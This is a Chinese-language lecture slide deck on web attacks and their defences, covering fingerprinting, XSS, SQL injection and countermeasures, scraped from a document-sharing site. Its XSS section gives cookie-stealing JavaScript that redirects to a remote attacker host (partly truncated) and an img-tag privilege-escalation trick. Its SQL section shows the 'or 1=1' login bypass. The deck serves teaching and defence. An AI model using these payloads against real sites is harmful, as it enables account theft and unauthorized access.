[其它课程]8web攻击网络攻击防范复习.ppt
《[其它课程]8web攻击网络攻击防范复习.ppt》由会员分享,可在线阅读,更多相关《[其它课程]8web攻击网络攻击防范复习.ppt(114页珍藏版)》请在三一办公上搜索。
1、本章内容安排,8.1 Web安全概述8.2 Web服务器指纹识别8.3 Web页面盗窃及防御8.4 跨站脚本攻击及防御8.5 SQL注入攻击及防御8.6 Google Hacking8.7 网页验证码8.8 防御Web攻击8.9 小结,2023/5/21,网络入侵与防范讲义,1,8.1 Web安全概述,在Internet大众化及Web技术飞速演变的今天,在线安全所面临的挑战日益严峻。伴随着在线信息和服务的可用性的提升,以及基于Web的攻击和破坏的增长,安全风险达到了前所未有的高度。Web安全可以从以下三个方面进行考虑:Web服务器的安全Web客户端的安全Web通信信道的安全,2023/5/21
2、,网络入侵与防范讲义,2,Web服务器的安全,针对Web服务器的攻击可以分为两类:一是利用Web服务器的漏洞进行攻击,如IIS缓冲区溢出漏洞利用、目录遍历漏洞利用等;二是利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等。,2023/5/21,网络入侵与防范讲义,3,Web服务器的安全(2),针对Web服务器具体的安全威胁主要体现在以下几个方面:服务器程序编写不当导致的缓冲区溢出(Buffer Overflow)并由此导致远程代码执行。针对服务器系统的拒绝服务攻击(Denial of Service)。脚本程序编写不当、过滤不严格造成的数据库查询语句注入(SQL Injection)
3、,可能引起信息泄漏、文件越权下载、验证绕过、远程代码执行等。乐观相信用户输入、过滤不严导致跨站脚本攻击(Cross Site Script),在欺骗管理员的前提下,通过精心设计的脚本获得服务端Shell。,2023/5/21,网络入侵与防范讲义,4,Web客户端的安全,Web应用的迅速普及,客户端交互能力获得了极为充分的发挥,客户端的安全也成为Web安全的焦点问题。Java Applet、ActiveX、Cookie等技术大量被使用,当用户使用浏览器查看、编辑网络内容时,采用了这些技术的应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。,2023/
4、5/21,网络入侵与防范讲义,5,Web客户端的安全(2),浏览网页所使用的浏览器存在众多已知或者未知的漏洞,攻击者可以写一个利用某个漏洞的网页,并挂上木马,当用户访问了这个网页之后,就中了木马。这就是网页木马,简称网马。同时,跨站脚本攻击(XSS)对于客户端的安全威胁同样无法忽视,利用XSS的Web蠕虫已经在网络中肆虐过。,2023/5/21,网络入侵与防范讲义,6,Web通信信道的安全,和其他的Internet应用一样,Web信道同样面临着网络嗅探(Sniffer)和以拥塞信道、耗费资源为目的的拒绝服务攻击(Denial of Service)的威胁。,2023/5/21,网络入侵与防范讲
5、义,7,8.1 Web安全概述,OWASP的调查结果显示,对Web应用危害较大的安全问题分别是:未验证参数访问控制缺陷账户及会话管理缺陷跨站脚本攻击缓冲区溢出命令注入错误处理远程管理Web服务器及应用服务器配置不当,2023/5/21,网络入侵与防范讲义,8,2023/5/21,网络入侵与防范讲义,9,8.2 Web服务器指纹识别,8.2.1 指纹识别理论8.2.2 Web服务器指纹介绍8.2.3 Web服务器Banner信息获取8.2.4 模糊Web服务器Banner信息8.2.5 Web服务器协议行为8.2.6 Http指纹识别工具,2023/5/21,网络入侵与防范讲义,10,8.2.4
6、 模糊Web服务器Banner信息,为了防范查看Http应答头信息来识别Http指纹的行为,可以选择通过下面两种方法来更改或者是模糊服务器的Banner信息:自定义Http应答头信息增加插件这样设置可以自动的阻止很多对Http服务器的攻击,有时也可以误导攻击者。,2023/5/21,网络入侵与防范讲义,11,自定义HTTP应答头信息,要让服务器返回不同的Banner信息的设置是很简单的,象Apache这样的开放源代码的Http服务器,用户可以在源代码里修改Banner信息,然后重起Http服务就生效了。对于没有公开源代码的Http服务器比如微软的IIS或者是Netscape,可以在存放Bann
7、er信息的Dll文件中修改。,2023/5/21,网络入侵与防范讲义,12,使用插件,另一种模糊Banner信息的方法是使用插件,这些插件可以提供自定义的Http应答信息。比如ServerMask这个商业软件就可以提供这样的功能,它是IIS服务器的一个插件,ServerMask不仅模糊了Banner信息,而且会对Http应答头信息里的项的序列进行重新组合,从而来模仿Apache这样的服务器,它甚至有能力扮演成任何一个Http服务器来处理每一个请求。这个软件可以在以下地址找到:Http:/,协议行为分析实例,我们继续来用实例说明。我们将分析3种不同Http服务对不同请求所返回的响应信息,这些请求
8、是这样的:1:HEAD/Http/1.0发送基本的Http请求2:DELETE/Http/1.0发送不被允许的请求,如Delete请求3:GET/Http/3.0发送一个非法版本的Http协议请求4:GET/JUNK/1.0发送一个不正确规格的Http协议请求,2023/5/21,网络入侵与防范讲义,13,测试小结,我们下面列了一个表,我们可以很简单的辨别不同的Http服务器。,2023/5/21,网络入侵与防范讲义,14,8.2.6 Http指纹识别工具,这里我们将介绍一个Http指纹识别工具Httprint,它通过运用统计学原理,组合模糊的逻辑学技术,能很有效的确定Http服务器的类型。H
9、ttprint收集了每种http服务器在交互过程中产生的特性,将它们编码成一个固定长度的ASCII字符串,这就是Httpint签名。,2023/5/21,网络入侵与防范讲义,15,Httprint的Http签名,2023/5/21,网络入侵与防范讲义,16,Httprint介绍,Httprint先把一些Http签名信息保存在一个文档里,然后分析那些由Http服务器产生的结果。当我们发现那些没有列在数据库中的签名信息时,我们可以利用Httprint产生的报告来扩展这个签名数据库,而当Httprint下一次运行时,这些新加的签名信息也就可以使用了。,2023/5/21,网络入侵与防范讲义,17,2
10、023/5/21,网络入侵与防范讲义,18,8.3 Web页面盗窃及防御,8.3.1 Web页面盗窃简介8.3.2 逐页手工扫描8.3.3 自动扫描8.3.4 Web页面盗窃防御对策,2023/5/21,网络入侵与防范讲义,19,8.3 Web页面盗窃及防御,8.3.1 Web页面盗窃简介8.3.2 逐页手工扫描8.3.3 自动扫描8.3.4 Web页面盗窃防御对策,2023/5/21,网络入侵与防范讲义,20,8.3.1 Web页面盗窃简介,服务器及HTTP指纹识别是为了判断服务器的类型、版本信息。而Web页面盗窃的目的是通过对各个网页页面源码的详细分析,找出可能存在于代码、注释或者设计中的
11、关键缺陷和脆弱点,以此来确定攻击的突破点。Web页面盗窃的两种方法:逐页手工扫描和自动扫描。,2023/5/21,网络入侵与防范讲义,21,8.3.3 自动扫描,对于较大型的Web站点,攻击者通常是采用脚本或扫描器来自动探测可能存在的安全漏洞。这种方法的原理是逐页读取目标Web站点上的各个网页,通过搜索特定的关键字,来找出可能的漏洞。为了实际运行的效率考虑,自动扫描往往会采取将目标Web站点镜像到本地、指定扫描条件、指定扫描细度等方法。,2023/5/21,网络入侵与防范讲义,22,Web盗窃防御方法,常用的防御方法主要有4点:提高Web页面代码的质量。不要在代码中泄漏机密信息,尽量消除代码中
12、可能存在的安全漏洞和设计错误,并在发布Web页面前进行安全性测试;监视访问日志中快速增长的GET请求。如果一个IP地址快速的多次请求Web页面,那么就应该怀疑是在进行自动扫描,并考虑封闭此IP地址对Web页面的访问权限;,2023/5/21,网络入侵与防范讲义,23,Web盗窃防御方法(2),在Web站点上设置garbage.cgi脚本。由于自动扫描程序是依照Web目录结构来访问的,而garbage.cgi的作用就是被访问到时不停的产生垃圾页面。当然攻击者可以手工配置来避开这种脚本,但仍然可以有效的为攻击者设置障碍;经常注意网络上新出现的web扫描脚本的攻击内容。确保其针对的安全漏洞在自己的W
13、eb站点上没有出现,对已发现的安全漏洞尽快进行修补或暂停有漏洞的页面的访问。,2023/5/21,网络入侵与防范讲义,24,Web盗窃防御方法(3),此外,Web站点维护者也可以使用一些自动扫描的脚本和工具来检验Web站点的安全性,如phfscan.c、cgiscan.c 等。,什么是XSS攻击,XSS是跨站脚本攻击(Cross Site Script)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(
14、Cascading Style Sheets,CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS。,2023/5/21,网络入侵与防范讲义,25,什么是XSS攻击,XSS是跨站脚本攻击(Cross Site Script)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。本来跨站脚本攻击(Cross Site Scripting)应该缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此人们将跨站脚本攻击缩写为XSS。,2023/5/21,网络入
15、侵与防范讲义,26,跨站脚本攻击的危害,XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员帐户。,2023/5/21,网络入侵与防范讲义,27,跨站脚本攻击的危害(2),由于XSS漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、T、Ebay、
16、Yahoo、Apple、Microsoft、Kaspersky、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。例如Kaspersky:http:/,2023/5/21,网络入侵与防范讲义,28,跨站脚本攻击发起条件,跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的Web服务器允许用户在表格或编辑框中输入不相关的字符 Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码 实现跨站脚本的攻击至少需要两个条件:需要存在跨站脚本漏洞的web应用程序;需要用户点
17、击连接或者是访问某一页面。,2023/5/21,网络入侵与防范讲义,29,8.4.2 跨站脚本攻击过程,寻找XSS漏洞注入恶意代码欺骗用户访问,2023/5/21,网络入侵与防范讲义,30,寻找XSS漏洞(6),于是我们就得出了一个经典的XSS示例:把这个代码存储为1.htm,用IE浏览,会弹出一个由javascript调用的对话框。,2023/5/21,网络入侵与防范讲义,31,步骤二:注入恶意代码,注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限、上传任意文件等
18、。,2023/5/21,网络入侵与防范讲义,32,注入恶意代码(2),例如,把cookie发到远程的javascript代码可以这样写:javascript:window.location=http:/,2023/5/21,网络入侵与防范讲义,33,注入恶意代码(3),IE浏览器默认采用的是UNICODE编码,HTML编码可以用”示例。,2023/5/21,网络入侵与防范讲义,34,注入恶意代码(4),/10进制转码/16进制转码,2023/5/21,网络入侵与防范讲义,35,注入恶意代码(5),通过编码,把cookie发到远程的script可以写成:javascript:window.loc
19、ation='http:/,2023/5/21,网络入侵与防范讲义,36,注入恶意代码(6),对于一个论坛程序,还可以根据论坛的特定编程方式来提升权限。例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin_user.asp?&username=xxx&membercode=yyy,意思是把xxx用户的权限设置为yyy。,2023/5/21,网络入侵与防范讲义,37,注入恶意代码(7),那么结合标签,我们可以构造如下攻击代码。让用户浏览这张图片时,转去admin_user.asp页面运行,并尝试把用户xxx的权限修改为yyy。,2023/5/21,网络
20、入侵与防范讲义,38,步骤三:欺骗用户访问,当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,“间接”通过这个目标用户来完成你的目的。并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。这时,你就需要诱骗他来访问你的恶意页面。欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!,2023/5/21,网络入侵与防范讲义,39,漏洞利用,我们可以利用这个漏洞来盗取用户的cookie信息。把用户linzi的签名档设置为:imgjavascript:window.location=
21、27http:/,2023/5/21,网络入侵与防范讲义,40,8.4.4 防御跨站脚本攻击,XSS攻击最主要目标不是Web服务器本身,而是登录网站的用户。针对XSS攻击,分析对普通浏览网页用户及WEB应用开发者给出的安全建议。,2023/5/21,网络入侵与防范讲义,41,普通的浏览网页用户,在网站、电子邮件或者即时通讯软件中点击链接时需要格外小心:留心可疑的过长链接,尤其是它们看上去包含了HTML代码。对于XSS漏洞,没有哪种web浏览器具有明显的安全优势。Firefox也同样不安全。为了获得更多的安全性,可以安装一些浏览器插件:比如Firefox的NoScript或者Netcraft工具
22、条。世界上没有“100%的有效”。尽量避免访问有问题的站点:比如提供hack信息和工具、破解软件、成人照片的网站。这些类型的网站会利用浏览器漏洞并危害操作系统。,2023/5/21,网络入侵与防范讲义,42,Web应用开发者,对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键字、post数据等。只接受在你所规定长度范围内、采用适当格式的字符,阻塞、过滤或者忽略其它的任何东西。保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。可采用的技术有:session标记(session tokens)、验证码。如果你的web应用必须支持用户
23、提交HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是CSS样式表和JavaScript)。,2023/5/21,网络入侵与防范讲义,43,2023/5/21,网络入侵与防范讲义,44,8.5 SQL注入攻击及防御,8.5.1 SQL注入原理8.5.2 SQL注入过程8.5.3 SQL注入的防范,2023/5/21,网络入侵与防范讲义,45,8.5.1 SQL注入原理,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码
24、的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。攻击者可以提交一段精心构造的数据库查询代码,根据返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。受影响的系统:对输入的参数不进行检查和过滤的系统。,最简单的SQL注入实例(2),如果用户填写的用户名和密码都是:abc or 1=1 那么将导致SQL语句是:Select*from admin where user=abc or 1=1 and pass=abc or 1=1 这条语句是永真式,那么攻击者就成功登陆了后台。这就是最简单的SQL注入方式。,2023/5/21,网络入侵与防范讲
25、义,46,2023/5/21,网络入侵与防范讲义,47,8.5.2 SQL注入过程,(1).寻找可能存在SQL注入漏洞的链接(2).测试该网站是否有SQL注入漏洞(3).猜管理员帐号表(4).猜测管理员表中的字段(5).猜测用户名和密码的长度(6).猜测用户名(7).猜测密码为了保护被测试的网站,该网站用www.*.com代替。,2023/5/21,网络入侵与防范讲义,48,8.5.3 SQL注入的防范,由于SQL注入攻击是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以许多防火墙等都不会对SQL注入发出警报。而目前互联网上存在SQL注入漏洞的Web站点并不在少数,
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 其它课程 其它课程8web攻击 网络攻击防范复习 其它 课程 web 攻击 网络 防范 复习
链接地址:https://www.31ppt.com/p-4886345.html